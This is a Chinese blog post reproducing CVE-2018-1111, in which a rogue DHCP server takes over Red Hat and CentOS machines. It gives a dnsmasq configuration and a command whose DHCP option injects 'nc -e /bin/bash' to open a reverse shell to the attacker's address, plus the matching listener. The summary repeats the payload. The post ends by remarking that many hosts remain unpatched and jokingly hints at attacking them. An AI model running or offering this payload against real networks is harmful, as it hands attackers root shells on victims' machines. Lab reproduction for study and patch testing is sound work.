CVE-2018-1111 劫持dhcp造成Redhat、centos代码执行

作者: print("") 分类: 信息安全,漏洞复现 发布时间: 2018-05-18 21:49

前言: 看到crazy 老哥说有一个好新的漏洞。可以在redhat 和centos 执行任意代码 、 我说这就很有意思了。晚上来看看

他分享了一下他写的博客。看了下。进入tools 看了下这个文章,仔细的看了下, 很有意思。有意思

crazy文章地址:https://www.cra2y.cn/index.php/archives/7/

吐司文章链接:https://www.t00ls.net/thread-45885-1-1.html

漏洞概述
通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

影响:

测试了一下 centos6 和centos7 都受到这个影响

利用的整个过程:

宿主机环境:Windows 10 企业版  
虚拟机环境:VMware Workstation

攻击者:Kali linux
受害者:centos7

  • 1. 两台虚拟机的网络适配器都需要设置为 仅主机模式
  • 2. 停用主机模式的DHCP服务

首先将两个虚拟机设置成仅主机模式,关闭dhcp功能。

kali设置成静态地址,要和下文中的conf中的地址相同,网关也是本机ip。这里我设置成192.168.71.5

root@kali:~# route add default gw 192.168.71.5

kali创建个dnsmasp.conf内容如下:

bind-interfaces 
interface=eth0 
except-interface=lo 
dhcp-range=192.168.75.10,192.168.75.20,12h 
dhcp-option=3,192.168.71.5
dhcp-option=6,192.168.71.5
log-queries 
log-facility=/var/log/dnsmasq.log

开启dnsmasp:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"

nc侦听6666端口

nc -l -p 6666 -v

kali 这边已经完成了

现在centos重启一下网卡!


已经显示获取到了IP 了 看看kali 这边的情况吧


写了一个文件。在centos 里面查看一下



总结:

漏洞原理应该是使用了单引号导致了参数被执行。

**--dhcp-option="252,malayke'&nc -e /bin/bash 192.168.182.130 6666 #"**

现在应该还有很多主机是没有补丁的。。可以去 …. hhhhhhh


如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。